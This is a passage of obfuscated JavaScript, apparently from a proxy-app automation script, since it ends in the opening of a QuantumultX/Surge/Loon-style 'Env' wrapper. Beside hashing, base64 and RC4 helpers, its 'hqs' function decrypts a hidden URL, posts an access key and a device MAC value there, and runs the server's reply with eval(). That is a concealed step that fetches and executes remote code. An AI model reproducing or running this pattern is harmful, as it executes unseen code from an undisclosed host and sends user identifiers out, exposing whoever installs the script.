_0x1845e8[0x1]&_0x1845e8[0x2]|_0x1845e8[0x1]&_0x1845e8[0x3]|_0x1845e8[0x2]&_0x1845e8[0x3];},function(){return _0x1845e8[0x1]^_0x1845e8[0x2]^_0x1845e8[0x3];}],_0x588d5f=function(_0x5de27a,_0x4b1f8){return _0x5de27a<<_0x4b1f8|_0x5de27a>>>0x20-_0x4b1f8;},_0x5cc7bd=[0x5a827999,0x6ed9eba1,-0x70e44324,-0x359d3e2a],_0x1845e8=[0x67452301,-0x10325477,null,null,-0x3c2d1e10];_0x1845e8[0x2]=~_0x1845e8[0x0],_0x1845e8[0x3]=~_0x1845e8[0x1];for(_0x5df92a=0x0;_0x5df92a<_0x4b02f9[_0x2a45ea(0x15b)];_0x5df92a+=0x10){var _0x1adb0a=_0x1845e8[_0x157a24(0x115,'aaKj')](0x0);for(_0x5ddf7e=0x0;_0x5ddf7e<0x50;_0x5ddf7e++)_0x3815ab[_0x5ddf7e]=_0x5ddf7e<0x10?_0x4b02f9[_0x5df92a+_0x5ddf7e]:_0x588d5f(_0x3815ab[_0x5ddf7e-0x3]^_0x3815ab[_0x5ddf7e-0x8]^_0x3815ab[_0x5ddf7e-0xe]^_0x3815ab[_0x5ddf7e-0x10],0x1),_0x2dd5be=_0x588d5f(_0x1845e8[0x0],0x5)+_0x5e2587[_0x5ddf7e/0x14|0x0]()+_0x1845e8[0x4]+_0x3815ab[_0x5ddf7e]+_0x5cc7bd[_0x5ddf7e/0x14|0x0]|0x0,_0x1845e8[0x1]=_0x588d5f(_0x1845e8[0x1],0x1e),_0x1845e8['pop'](),_0x1845e8[_0x157a24(0x165,'T%Zu')](_0x2dd5be);for(_0x5ddf7e=0x0;_0x5ddf7e<0x5;_0x5ddf7e++)_0x1845e8[_0x5ddf7e]=_0x1845e8[_0x5ddf7e]+_0x1adb0a[_0x5ddf7e]|0x0;};_0x2dd5be=new DataView(new Uint32Array(_0x1845e8)[_0x2a45ea(0x174)]);for(var _0x5df92a=0x0;_0x5df92a<0x5;_0x5df92a++)_0x1845e8[_0x5df92a]=_0x2dd5be[_0x2a45ea(0xf1)](_0x5df92a<<0x2);var _0x433c30=Array['prototype'][_0x157a24(0x116,'dRjX')]['call'](new Uint8Array(new Uint32Array(_0x1845e8)[_0x157a24(0xc3,'eF@[')]),function(_0x1df88e){var _0x4f34b5=_0x2a45ea;return(_0x1df88e<0x10?'0':'')+_0x1df88e[_0x4f34b5(0x188)](0x10);})[_0x157a24(0x110,'eE)E')]('');return _0x433c30;}function hqs(_0x865c02=0xa){return new Promise(_0x5e7ddc=>{var _0x261020=_0x2658,_0x25e88c=_0x1b83;let _0x5bbd9f=0xc,_0x521ff2={'url':$[_0x25e88c(0xf7,'aNwk')]()?rc4($[_0x261020(0xd2)](),_0x25e88c(0xd9,'whYt'))+(_0x261020(0x15c)+acckey+_0x261020(0xf2)+_0x5bbd9f+_0x261020(0xc4)+mac+_0x261020(0x145)):rc4($[_0x261020(0xd2)](),_0x25e88c(0xd9,'whYt'))+(_0x25e88c(0x121,'PxtA')+acckey+'&id='+_0x5bbd9f+_0x25e88c(0x14e,'s&cP')+mac+'&bb=1')};$['post'](_0x521ff2,async(_0x5f4cb5,_0x26a9a7,_0x5505ad)=>{var _0x26ab60=_0x261020,_0x56fac8=_0x25e88c;try{let _0x3ff432=eval(_0x5505ad);_0x3ff432[_0x56fac8(0x181,'J0^v')]==0xc8?(all_msg=_0x3ff432[_0x26ab60(0xd0)],_0x5e7ddc(_0x3ff432[_0x56fac8(0xeb,'!&jj')])):(all_msg=_0x3ff432[_0x26ab60(0xd0)],_0x5e7ddc(![]));}catch(_0x2e9f38){$[_0x56fac8(0x109,'J0^v')](_0x2e9f38,_0x26a9a7);}},0x0);});}function md5(_0x4fd660){var _0x5ddff3=_0x11d147,_0x241dc0=_0x159648;function _0x42d60e(_0xae9e33,_0x32efd0){return _0xae9e33<<_0x32efd0|_0xae9e33>>>0x20-_0x32efd0;}function _0xb731a0(_0x51c16a,_0x2ab287){var _0xb69826,_0x47dbba,_0xa46218,_0x5123c6,_0x48fc04;return _0xa46218=0x80000000&_0x51c16a,_0x5123c6=0x80000000&_0x2ab287,_0xb69826=0x40000000&_0x51c16a,_0x47dbba=0x40000000&_0x2ab287,_0x48fc04=(0x3fffffff&_0x51c16a)+(0x3fffffff&_0x2ab287),_0xb69826&_0x47dbba?0x80000000^_0x48fc04^_0xa46218^_0x5123c6:_0xb69826|_0x47dbba?0x40000000&_0x48fc04?0xc0000000^_0x48fc04^_0xa46218^_0x5123c6:0x40000000^_0x48fc04^_0xa46218^_0x5123c6:_0x48fc04^_0xa46218^_0x5123c6;}function _0x1b0905(_0x92f517,_0x39e1e9,_0x347cfa){return _0x92f517&_0x39e1e9|~_0x92f517&_0x347cfa;}function _0x347ce8(_0x3029bb,_0x1ad475,_0xcd2237){return _0x3029bb&_0xcd2237|_0x1ad475&~_0xcd2237;}function _0x45aaff(_0x2f35d,_0x3e4639,_0x3e3a4c){return _0x2f35d^_0x3e4639^_0x3e3a4c;}function _0x26f48c(_0x5a4be2,_0x4e148d,_0x510268){return _0x4e148d^(_0x5a4be2|~_0x510268);}function _0x14d286(_0x51cd85,_0x2903af,_0x5e5a73,_0x20c946,_0x15f9c2,_0x3146a7,_0x1f8ccf){return _0x51cd85=_0xb731a0(_0x51cd85,_0xb731a0(_0xb731a0(_0x1b0905(_0x2903af,_0x5e5a73,_0x20c946),_0x15f9c2),_0x1f8ccf)),_0xb731a0(_0x42d60e(_0x51cd85,_0x3146a7),_0x2903af);}function _0x29f388(_0x57627c,_0x2b9d98,_0x314cdd,_0x398a0d,_0x2f83ab,_0x1e4343,_0x2d210f){return _0x57627c=_0xb731a0(_0x57627c,_0xb731a0(_0xb731a0(_0x347ce8(_0x2b9d98,_0x314cdd,_0x398a0d),_0x2f83ab),_0x2d210f)),_0xb731a0(_0x42d60e(_0x57627c,_0x1e4343),_0x2b9d98);}function _0x91df7a(_0x4648c8,_0x2bf3a2,_0x5e5ff4,_0x1f5eed,_0x1e4f53,_0x1e33de,_0x2e3de6){return _0x4648c8=_0xb731a0(_0x4648c8,_0xb731a0(_0xb731a0(_0x45aaff(_0x2bf3a2,_0x5e5ff4,_0x1f5eed),_0x1e4f53),_0x2e3de6)),_0xb731a0(_0x42d60e(_0x4648c8,_0x1e33de),_0x2bf3a2);}function _0x408342(_0x4708d5,_0x181dd8,_0x29f61a,_0x36020c,_0x290918,_0x2185d2,_0x47dbfb){return _0x4708d5=_0xb731a0(_0x4708d5,_0xb731a0(_0xb731a0(_0x26f48c(_0x181dd8,_0x29f61a,_0x36020c),_0x290918),_0x47dbfb)),_0xb731a0(_0x42d60e(_0x4708d5,_0x2185d2),_0x181dd8);}function _0x1edeaf(_0x189352){var _0x346bb3=_0x1b83;for(var _0x28947f,_0x1a6f4a=_0x189352[_0x346bb3(0x117,'6SW$')],_0x472b8f=_0x1a6f4a+0x8,_0xe13414=(_0x472b8f-_0x472b8f%0x40)/0x40,_0x2360fb=0x10*(_0xe13414+0x1),_0x23608c=new Array(_0x2360fb-0x1),_0x42c2aa=0x0,_0x3ac954=0x0;_0x1a6f4a>_0x3ac954;)_0x28947f=(_0x3ac954-_0x3ac954%0x4)/0x4,_0x42c2aa=_0x3ac954%0x4*0x8,_0x23608c[_0x28947f]=_0x23608c[_0x28947f]|_0x189352['charCodeAt'](_0x3ac954)<<_0x42c2aa,_0x3ac954++;return _0x28947f=(_0x3ac954-_0x3ac954%0x4)/0x4,_0x42c2aa=_0x3ac954%0x4*0x8,_0x23608c[_0x28947f]=_0x23608c[_0x28947f]|0x80<<_0x42c2aa,_0x23608c[_0x2360fb-0x2]=_0x1a6f4a<<0x3,_0x23608c[_0x2360fb-0x1]=_0x1a6f4a>>>0x1d,_0x23608c;}function _0x4e6726(_0x5667a7){var _0x210c0c=_0x1b83,_0x22fd4f=_0x2658,_0x2dae5e,_0x5241a3,_0x206dae='',_0x5493f9='';for(_0x5241a3=0x0;0x3>=_0x5241a3;_0x5241a3++)_0x2dae5e=_0x5667a7>>>0x8*_0x5241a3&0xff,_0x5493f9='0'+_0x2dae5e['toString'](0x10),_0x206dae+=_0x5493f9[_0x22fd4f(0x164)](_0x5493f9[_0x210c0c(0x10a,'dRjX')]-0x2,0x2);return _0x206dae;}function _0x2c5327(_0xf6a3f6){var _0x4682a8=_0x1b83,_0xdbc332=_0x2658;_0xf6a3f6=_0xf6a3f6[_0xdbc332(0x16e)](/\r\n/g,'\x0a');for(var _0x132fb3='',_0x3257eb=0x0;_0x3257eb<_0xf6a3f6[_0x4682a8(0x106,'F!ts')];_0x3257eb++){var _0x767fe6=_0xf6a3f6[_0xdbc332(0x12a)](_0x3257eb);0x80>_0x767fe6?_0x132fb3+=String['fromCharCode'](_0x767fe6):_0x767fe6>0x7f&&0x800>_0x767fe6?(_0x132fb3+=String[_0x4682a8(0xbf,'D9yn')](_0x767fe6>>0x6|0xc0),_0x132fb3+=String[_0x4682a8(0xfd,'el]l')](0x3f&_0x767fe6|0x80)):(_0x132fb3+=String[_0xdbc332(0xc1)](_0x767fe6>>0xc|0xe0),_0x132fb3+=String[_0x4682a8(0x112,'y5VR')](_0x767fe6>>0x6&0x3f|0x80),_0x132fb3+=String[_0x4682a8(0x155,'aaKj')](0x3f&_0x767fe6|0x80));}return _0x132fb3;}var _0xc58aee,_0x4d6dde,_0x538a4e,_0x72cab3,_0x3850b7,_0x5a4a2c,_0x2c79e7,_0x488489,_0x552df2,_0x2d3c72=[],_0x2bdd8f=0x7,_0x8c4cf5=0xc,_0x45038c=0x11,_0xfd4f5f=0x16,_0x35cdd2=0x5,_0x5e4835=0x9,_0x3c417b=0xe,_0x1aa562=0x14,_0x1aac75=0x4,_0x3ade07=0xb,_0x1add79=0x10,_0x4a5625=0x17,_0xf44a5d=0x6,_0x3a062c=0xa,_0x4f4024=0xf,_0x3ec920=0x15;for(_0x4fd660=_0x2c5327(_0x4fd660),_0x2d3c72=_0x1edeaf(_0x4fd660),_0x5a4a2c=0x67452301,_0x2c79e7=0xefcdab89,_0x488489=0x98badcfe,_0x552df2=0x10325476,_0xc58aee=0x0;_0xc58aee<_0x2d3c72[_0x241dc0(0x15b)];_0xc58aee+=0x10)_0x4d6dde=_0x5a4a2c,_0x538a4e=_0x2c79e7,_0x72cab3=_0x488489,_0x3850b7=_0x552df2,_0x5a4a2c=_0x14d286(_0x5a4a2c,_0x2c79e7,_0x488489,_0x552df2,_0x2d3c72[_0xc58aee+0x0],_0x2bdd8f,0xd76aa478),_0x552df2=_0x14d286(_0x552df2,_0x5a4a2c,_0x2c79e7,_0x488489,_0x2d3c72[_0xc58aee+0x1],_0x8c4cf5,0xe8c7b756),_0x488489=_0x14d286(_0x488489,_0x552df2,_0x5a4a2c,_0x2c79e7,_0x2d3c72[_0xc58aee+0x2],_0x45038c,0x242070db),_0x2c79e7=_0x14d286(_0x2c79e7,_0x488489,_0x552df2,_0x5a4a2c,_0x2d3c72[_0xc58aee+0x3],_0xfd4f5f,0xc1bdceee),_0x5a4a2c=_0x14d286(_0x5a4a2c,_0x2c79e7,_0x488489,_0x552df2,_0x2d3c72[_0xc58aee+0x4],_0x2bdd8f,0xf57c0faf),_0x552df2=_0x14d286(_0x552df2,_0x5a4a2c,_0x2c79e7,_0x488489,_0x2d3c72[_0xc58aee+0x5],_0x8c4cf5,0x4787c62a),_0x488489=_0x14d286(_0x488489,_0x552df2,_0x5a4a2c,_0x2c79e7,_0x2d3c72[_0xc58aee+0x6],_0x45038c,0xa8304613),_0x2c79e7=_0x14d286(_0x2c79e7,_0x488489,_0x552df2,_0x5a4a2c,_0x2d3c72[_0xc58aee+0x7],_0xfd4f5f,0xfd469501),_0x5a4a2c=_0x14d286(_0x5a4a2c,_0x2c79e7,_0x488489,_0x552df2,_0x2d3c72[_0xc58aee+0x8],_0x2bdd8f,0x698098d8),_0x552df2=_0x14d286(_0x552df2,_0x5a4a2c,_0x2c79e7,_0x488489,_0x2d3c72[_0xc58aee+0x9],_0x8c4cf5,0x8b44f7af),_0x488489=_0x14d286(_0x488489,_0x552df2,_0x5a4a2c,_0x2c79e7,_0x2d3c72[_0xc58aee+0xa],_0x45038c,0xffff5bb1),_0x2c79e7=_0x14d286(_0x2c79e7,_0x488489,_0x552df2,_0x5a4a2c,_0x2d3c72[_0xc58aee+0xb],_0xfd4f5f,0x895cd7be),_0x5a4a2c=_0x14d286(_0x5a4a2c,_0x2c79e7,_0x488489,_0x552df2,_0x2d3c72[_0xc58aee+0xc],_0x2bdd8f,0x6b901122),_0x552df2=_0x14d286(_0x552df2,_0x5a4a2c,_0x2c79e7,_0x488489,_0x2d3c72[_0xc58aee+0xd],_0x8c4cf5,0xfd987193),_0x488489=_0x14d286(_0x488489,_0x552df2,_0x5a4a2c,_0x2c79e7,_0x2d3c72[_0xc58aee+0xe],_0x45038c,0xa679438e),_0x2c79e7=_0x14d286(_0x2c79e7,_0x488489,_0x552df2,_0x5a4a2c,_0x2d3c72[_0xc58aee+0xf],_0xfd4f5f,0x49b40821),_0x5a4a2c=_0x29f388(_0x5a4a2c,_0x2c79e7,_0x488489,_0x552df2,_0x2d3c72[_0xc58aee+0x1],_0x35cdd2,0xf61e2562),_0x552df2=_0x29f388(_0x552df2,_0x5a4a2c,_0x2c79e7,_0x488489,_0x2d3c72[_0xc58aee+0x6],_0x5e4835,0xc040b340),_0x488489=_0x29f388(_0x488489,_0x552df2,_0x5a4a2c,_0x2c79e7,_0x2d3c72[_0xc58aee+0xb],_0x3c417b,0x265e5a51),_0x2c79e7=_0x29f388(_0x2c79e7,_0x488489,_0x552df2,_0x5a4a2c,_0x2d3c72[_0xc58aee+0x0],_0x1aa562,0xe9b6c7aa),_0x5a4a2c=_0x29f388(_0x5a4a2c,_0x2c79e7,_0x488489,_0x552df2,_0x2d3c72[_0xc58aee+0x5],_0x35cdd2,0xd62f105d),_0x552df2=_0x29f388(_0x552df2,_0x5a4a2c,_0x2c79e7,_0x488489,_0x2d3c72[_0xc58aee+0xa],_0x5e4835,0x2441453),_0x488489=_0x29f388(_0x488489,_0x552df2,_0x5a4a2c,_0x2c79e7,_0x2d3c72[_0xc58aee+0xf],_0x3c417b,0xd8a1e681),_0x2c79e7=_0x29f388(_0x2c79e7,_0x488489,_0x552df2,_0x5a4a2c,_0x2d3c72[_0xc58aee+0x4],_0x1aa562,0xe7d3fbc8),_0x5a4a2c=_0x29f388(_0x5a4a2c,_0x2c79e7,_0x488489,_0x552df2,_0x2d3c72[_0xc58aee+0x9],_0x35cdd2,0x21e1cde6),_0x552df2=_0x29f388(_0x552df2,_0x5a4a2c,_0x2c79e7,_0x488489,_0x2d3c72[_0xc58aee+0xe],_0x5e4835,0xc33707d6),_0x488489=_0x29f388(_0x488489,_0x552df2,_0x5a4a2c,_0x2c79e7,_0x2d3c72[_0xc58aee+0x3],_0x3c417b,0xf4d50d87),_0x2c79e7=_0x29f388(_0x2c79e7,_0x488489,_0x552df2,_0x5a4a2c,_0x2d3c72[_0xc58aee+0x8],_0x1aa562,0x455a14ed),_0x5a4a2c=_0x29f388(_0x5a4a2c,_0x2c79e7,_0x488489,_0x552df2,_0x2d3c72[_0xc58aee+0xd],_0x35cdd2,0xa9e3e905),_0x552df2=_0x29f388(_0x552df2,_0x5a4a2c,_0x2c79e7,_0x488489,_0x2d3c72[_0xc58aee+0x2],_0x5e4835,0xfcefa3f8),_0x488489=_0x29f388(_0x488489,_0x552df2,_0x5a4a2c,_0x2c79e7,_0x2d3c72[_0xc58aee+0x7],_0x3c417b,0x676f02d9),_0x2c79e7=_0x29f388(_0x2c79e7,_0x488489,_0x552df2,_0x5a4a2c,_0x2d3c72[_0xc58aee+0xc],_0x1aa562,0x8d2a4c8a),_0x5a4a2c=_0x91df7a(_0x5a4a2c,_0x2c79e7,_0x488489,_0x552df2,_0x2d3c72[_0xc58aee+0x5],_0x1aac75,0xfffa3942),_0x552df2=_0x91df7a(_0x552df2,_0x5a4a2c,_0x2c79e7,_0x488489,_0x2d3c72[_0xc58aee+0x8],_0x3ade07,0x8771f681),_0x488489=_0x91df7a(_0x488489,_0x552df2,_0x5a4a2c,_0x2c79e7,_0x2d3c72[_0xc58aee+0xb],_0x1add79,0x6d9d6122),_0x2c79e7=_0x91df7a(_0x2c79e7,_0x488489,_0x552df2,_0x5a4a2c,_0x2d3c72[_0xc58aee+0xe],_0x4a5625,0xfde5380c),_0x5a4a2c=_0x91df7a(_0x5a4a2c,_0x2c79e7,_0x488489,_0x552df2,_0x2d3c72[_0xc58aee+0x1],_0x1aac75,0xa4beea44),_0x552df2=_0x91df7a(_0x552df2,_0x5a4a2c,_0x2c79e7,_0x488489,_0x2d3c72[_0xc58aee+0x4],_0x3ade07,0x4bdecfa9),_0x488489=_0x91df7a(_0x488489,_0x552df2,_0x5a4a2c,_0x2c79e7,_0x2d3c72[_0xc58aee+0x7],_0x1add79,0xf6bb4b60),_0x2c79e7=_0x91df7a(_0x2c79e7,_0x488489,_0x552df2,_0x5a4a2c,_0x2d3c72[_0xc58aee+0xa],_0x4a5625,0xbebfbc70),_0x5a4a2c=_0x91df7a(_0x5a4a2c,_0x2c79e7,_0x488489,_0x552df2,_0x2d3c72[_0xc58aee+0xd],_0x1aac75,0x289b7ec6),_0x552df2=_0x91df7a(_0x552df2,_0x5a4a2c,_0x2c79e7,_0x488489,_0x2d3c72[_0xc58aee+0x0],_0x3ade07,0xeaa127fa),_0x488489=_0x91df7a(_0x488489,_0x552df2,_0x5a4a2c,_0x2c79e7,_0x2d3c72[_0xc58aee+0x3],_0x1add79,0xd4ef3085),_0x2c79e7=_0x91df7a(_0x2c79e7,_0x488489,_0x552df2,_0x5a4a2c,_0x2d3c72[_0xc58aee+0x6],_0x4a5625,0x4881d05),_0x5a4a2c=_0x91df7a(_0x5a4a2c,_0x2c79e7,_0x488489,_0x552df2,_0x2d3c72[_0xc58aee+0x9],_0x1aac75,0xd9d4d039),_0x552df2=_0x91df7a(_0x552df2,_0x5a4a2c,_0x2c79e7,_0x488489,_0x2d3c72[_0xc58aee+0xc],_0x3ade07,0xe6db99e5),_0x488489=_0x91df7a(_0x488489,_0x552df2,_0x5a4a2c,_0x2c79e7,_0x2d3c72[_0xc58aee+0xf],_0x1add79,0x1fa27cf8),_0x2c79e7=_0x91df7a(_0x2c79e7,_0x488489,_0x552df2,_0x5a4a2c,_0x2d3c72[_0xc58aee+0x2],_0x4a5625,0xc4ac5665),_0x5a4a2c=_0x408342(_0x5a4a2c,_0x2c79e7,_0x488489,_0x552df2,_0x2d3c72[_0xc58aee+0x0],_0xf44a5d,0xf4292244),_0x552df2=_0x408342(_0x552df2,_0x5a4a2c,_0x2c79e7,_0x488489,_0x2d3c72[_0xc58aee+0x7],_0x3a062c,0x432aff97),_0x488489=_0x408342(_0x488489,_0x552df2,_0x5a4a2c,_0x2c79e7,_0x2d3c72[_0xc58aee+0xe],_0x4f4024,0xab9423a7),_0x2c79e7=_0x408342(_0x2c79e7,_0x488489,_0x552df2,_0x5a4a2c,_0x2d3c72[_0xc58aee+0x5],_0x3ec920,0xfc93a039),_0x5a4a2c=_0x408342(_0x5a4a2c,_0x2c79e7,_0x488489,_0x552df2,_0x2d3c72[_0xc58aee+0xc],_0xf44a5d,0x655b59c3),_0x552df2=_0x408342(_0x552df2,_0x5a4a2c,_0x2c79e7,_0x488489,_0x2d3c72[_0xc58aee+0x3],_0x3a062c,0x8f0ccc92),_0x488489=_0x408342(_0x488489,_0x552df2,_0x5a4a2c,_0x2c79e7,_0x2d3c72[_0xc58aee+0xa],_0x4f4024,0xffeff47d),_0x2c79e7=_0x408342(_0x2c79e7,_0x488489,_0x552df2,_0x5a4a2c,_0x2d3c72[_0xc58aee+0x1],_0x3ec920,0x85845dd1),_0x5a4a2c=_0x408342(_0x5a4a2c,_0x2c79e7,_0x488489,_0x552df2,_0x2d3c72[_0xc58aee+0x8],_0xf44a5d,0x6fa87e4f),_0x552df2=_0x408342(_0x552df2,_0x5a4a2c,_0x2c79e7,_0x488489,_0x2d3c72[_0xc58aee+0xf],_0x3a062c,0xfe2ce6e0),_0x488489=_0x408342(_0x488489,_0x552df2,_0x5a4a2c,_0x2c79e7,_0x2d3c72[_0xc58aee+0x6],_0x4f4024,0xa3014314),_0x2c79e7=_0x408342(_0x2c79e7,_0x488489,_0x552df2,_0x5a4a2c,_0x2d3c72[_0xc58aee+0xd],_0x3ec920,0x4e0811a1),_0x5a4a2c=_0x408342(_0x5a4a2c,_0x2c79e7,_0x488489,_0x552df2,_0x2d3c72[_0xc58aee+0x4],_0xf44a5d,0xf7537e82),_0x552df2=_0x408342(_0x552df2,_0x5a4a2c,_0x2c79e7,_0x488489,_0x2d3c72[_0xc58aee+0xb],_0x3a062c,0xbd3af235),_0x488489=_0x408342(_0x488489,_0x552df2,_0x5a4a2c,_0x2c79e7,_0x2d3c72[_0xc58aee+0x2],_0x4f4024,0x2ad7d2bb),_0x2c79e7=_0x408342(_0x2c79e7,_0x488489,_0x552df2,_0x5a4a2c,_0x2d3c72[_0xc58aee+0x9],_0x3ec920,0xeb86d391),_0x5a4a2c=_0xb731a0(_0x5a4a2c,_0x4d6dde),_0x2c79e7=_0xb731a0(_0x2c79e7,_0x538a4e),_0x488489=_0xb731a0(_0x488489,_0x72cab3),_0x552df2=_0xb731a0(_0x552df2,_0x3850b7);var _0x1f807d=_0x4e6726(_0x5a4a2c)+_0x4e6726(_0x2c79e7)+_0x4e6726(_0x488489)+_0x4e6726(_0x552df2);return _0x1f807d[_0x5ddff3(0x185,'@5WS')]();}function FxPCnMKLw7(){var _0x293b8e=_0x11d147,_0x1c5b60=_0x159648;_keyStr='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',this[_0x1c5b60(0x104)]=function(_0x48a57c){var _0x4abe8a=_0x1c5b60,_0x5ab0af=_0x1b83,_0x53d2ae='',_0x1f4ae2,_0x3dada9,_0x12bdd2,_0x4d5e68,_0xc770f4,_0x1ac6d0,_0x26dfdc,_0x44613d=0x0;_0x48a57c=_utf8_encode(_0x48a57c);while(_0x44613d<_0x48a57c[_0x5ab0af(0x113,'J0^v')]){_0x1f4ae2=_0x48a57c[_0x5ab0af(0xef,'F!ts')](_0x44613d++),_0x3dada9=_0x48a57c[_0x5ab0af(0x12e,'ZGlL')](_0x44613d++),_0x12bdd2=_0x48a57c[_0x5ab0af(0xdf,'Rxhk')](_0x44613d++),_0x4d5e68=_0x1f4ae2>>0x2,_0xc770f4=(_0x1f4ae2&0x3)<<0x4|_0x3dada9>>0x4,_0x1ac6d0=(_0x3dada9&0xf)<<0x2|_0x12bdd2>>0x6,_0x26dfdc=_0x12bdd2&0x3f;if(isNaN(_0x3dada9))_0x1ac6d0=_0x26dfdc=0x40;else isNaN(_0x12bdd2)&&(_0x26dfdc=0x40);_0x53d2ae=_0x53d2ae+_keyStr[_0x4abe8a(0xe6)](_0x4d5e68)+_keyStr[_0x4abe8a(0xe6)](_0xc770f4)+_keyStr[_0x4abe8a(0xe6)](_0x1ac6d0)+_keyStr[_0x5ab0af(0x101,'J0^v')](_0x26dfdc);}return _0x53d2ae;},this[_0x293b8e(0x169,'n1wn')]=function(_0x3ec567){var _0x2b6f8d=_0x293b8e,_0xf8c459=_0x1c5b60,_0x368110='',_0x5c6b77,_0x1a55ce,_0x3ac0c2,_0x20efc4,_0x1d9545,_0x1795eb,_0x2c8036,_0x1ca3b0=0x0;_0x3ec567=_0x3ec567[_0xf8c459(0x16e)](/[^A-Za-z0-9\+\/\=]/g,'');while(_0x1ca3b0<_0x3ec567[_0xf8c459(0x15b)]){_0x20efc4=_keyStr[_0x2b6f8d(0x153,'0kgv')](_0x3ec567[_0xf8c459(0xe6)](_0x1ca3b0++)),_0x1d9545=_keyStr[_0xf8c459(0x146)](_0x3ec567[_0x2b6f8d(0xd3,'!Lb7')](_0x1ca3b0++)),_0x1795eb=_keyStr['indexOf'](_0x3ec567[_0xf8c459(0xe6)](_0x1ca3b0++)),_0x2c8036=_keyStr['indexOf'](_0x3ec567[_0x2b6f8d(0x17b,'n1wn')](_0x1ca3b0++)),_0x5c6b77=_0x20efc4<<0x2|_0x1d9545>>0x4,_0x1a55ce=(_0x1d9545&0xf)<<0x4|_0x1795eb>>0x2,_0x3ac0c2=(_0x1795eb&0x3)<<0x6|_0x2c8036,_0x368110=_0x368110+String[_0x2b6f8d(0x11e,'0FAW')](_0x5c6b77),_0x1795eb!=0x40&&(_0x368110=_0x368110+String[_0xf8c459(0xc1)](_0x1a55ce)),_0x2c8036!=0x40&&(_0x368110=_0x368110+String[_0xf8c459(0xc1)](_0x3ac0c2));}return _0x368110=_utf8_decode(_0x368110),_0x368110;},_utf8_encode=function(_0x2d2c4d){var _0x59822d=_0x293b8e,_0x286311=_0x1c5b60;_0x2d2c4d=_0x2d2c4d[_0x286311(0x16e)](/\r\n/g,'\x0a');var _0x376842='';for(var _0x5b7d44=0x0;_0x5b7d44<_0x2d2c4d[_0x59822d(0xf0,'b%RF')];_0x5b7d44++){var _0x197add=_0x2d2c4d[_0x286311(0x12a)](_0x5b7d44);if(_0x197add<0x80)_0x376842+=String['fromCharCode'](_0x197add);else _0x197add>0x7f&&_0x197add<0x800?(_0x376842+=String[_0x286311(0xc1)](_0x197add>>0x6|0xc0),_0x376842+=String[_0x59822d(0xc2,'VR*n')](_0x197add&0x3f|0x80)):(_0x376842+=String[_0x286311(0xc1)](_0x197add>>0xc|0xe0),_0x376842+=String[_0x286311(0xc1)](_0x197add>>0x6&0x3f|0x80),_0x376842+=String[_0x286311(0xc1)](_0x197add&0x3f|0x80));}return _0x376842;},_utf8_decode=function(_0x52837b){var _0x58a16a=_0x1c5b60,_0x220633=_0x293b8e,_0x32eafb='',_0x3ef18e=0x0,_0x3e6886=c1=c2=0x0;while(_0x3ef18e<_0x52837b['length']){_0x3e6886=_0x52837b[_0x220633(0x13f,'y5VR')](_0x3ef18e);if(_0x3e6886<0x80)_0x32eafb+=String[_0x58a16a(0xc1)](_0x3e6886),_0x3ef18e++;else _0x3e6886>0xbf&&_0x3e6886<0xe0?(c2=_0x52837b[_0x220633(0x16a,'eF@[')](_0x3ef18e+0x1),_0x32eafb+=String[_0x58a16a(0xc1)]((_0x3e6886&0x1f)<<0x6|c2&0x3f),_0x3ef18e+=0x2):(c2=_0x52837b[_0x58a16a(0x12a)](_0x3ef18e+0x1),c3=_0x52837b['charCodeAt'](_0x3ef18e+0x2),_0x32eafb+=String[_0x58a16a(0xc1)]((_0x3e6886&0xf)<<0xc|(c2&0x3f)<<0x6|c3&0x3f),_0x3ef18e+=0x3);}return _0x32eafb;};}function rc4(_0x5d0e60,_0x534e12){var _0x44516b=_0x11d147,_0x2a68ee=_0x159648,_0x3f3bed=Array(0x100),_0x4961d6=Array(_0x5d0e60[_0x2a68ee(0x15b)]);for(var _0x1655b0=0x0;_0x1655b0<0x100;_0x1655b0++){_0x3f3bed[_0x1655b0]=_0x1655b0;var _0x56fc95=(_0x56fc95+_0x3f3bed[_0x1655b0]+_0x534e12[_0x2a68ee(0x12a)](_0x1655b0%_0x534e12[_0x44516b(0xfe,'QhA9')]))%0x100,_0x2b4bb7=_0x3f3bed[_0x1655b0];_0x3f3bed[_0x1655b0]=_0x3f3bed[_0x56fc95],_0x3f3bed[_0x56fc95]=_0x2b4bb7;}for(var _0x1655b0=0x0;_0x1655b0<_0x5d0e60[_0x2a68ee(0x15b)];_0x1655b0++){_0x4961d6[_0x1655b0]=_0x5d0e60[_0x44516b(0x136,'VR*n')](_0x1655b0);}for(var _0x1180f8=0x0;_0x1180f8<_0x4961d6[_0x44516b(0x182,'ZGlL')];_0x1180f8++){var _0x1655b0=(_0x1655b0+0x1)%0x100,_0x56fc95=(_0x56fc95+_0x3f3bed[_0x1655b0])%0x100,_0x2b4bb7=_0x3f3bed[_0x1655b0];_0x3f3bed[_0x1655b0]=_0x3f3bed[_0x56fc95],_0x3f3bed[_0x56fc95]=_0x2b4bb7;var _0x38c60c=(_0x3f3bed[_0x1655b0]+_0x3f3bed[_0x56fc95]%0x100)%0x100;_0x4961d6[_0x1180f8]=String[_0x44516b(0xed,'@5WS')](_0x4961d6[_0x1180f8]^_0x3f3bed[_0x38c60c]);}return _0x4961d6[_0x44516b(0x17a,'b%RF')]('');}
|
|
function Env(t, e) {
|
|
class s {
|
|
constructor(t) {
|
|
this.env = t
|
|
}
|
|
send(t, e = "GET") {
|
|
t = "string" == typeof t ? {
|
|
url: t
|
|
} : t;
|
|
let s = this.get;
|
|
return "POST" === e && (s = this.post), new Promise((e, i) => {
|
|
s.call(this, t, (t, s, r) => {
|
|
t ? i(t) : e(s)
|
|
})
|
|
})
|
|
}
|
|
get(t) {
|
|
return this.send.call(this.env, t)
|
|
}
|
|
post(t) {
|
|
return this.send.call(this.env, t, "POST")
|
|
}
|
|
}
|
|
return new class {
|
|
constructor(t, e) {
|
|
this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.encoding = "utf-8", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`)
|
|
}
|
|
isNode() {
|
|
return "undefined" != typeof module && !!module.exports
|
|
}
|
|
isQuanX() {
|
|
return "undefined" != typeof $task
|
|
}
|
|
isSurge() {
|
|
return "undefined" != typeof $httpClient && "undefined" == typeof $loon
|
|
}
|
|
isLoon() {
|
|
return "undefined" != typeof $loon
|
|
}
|
|
isShadowrocket() {
|
|
return "undefined" != typeof $rocket
|
|
}
|
|
toObj(t, e = null) {
|
|
try {
|
|
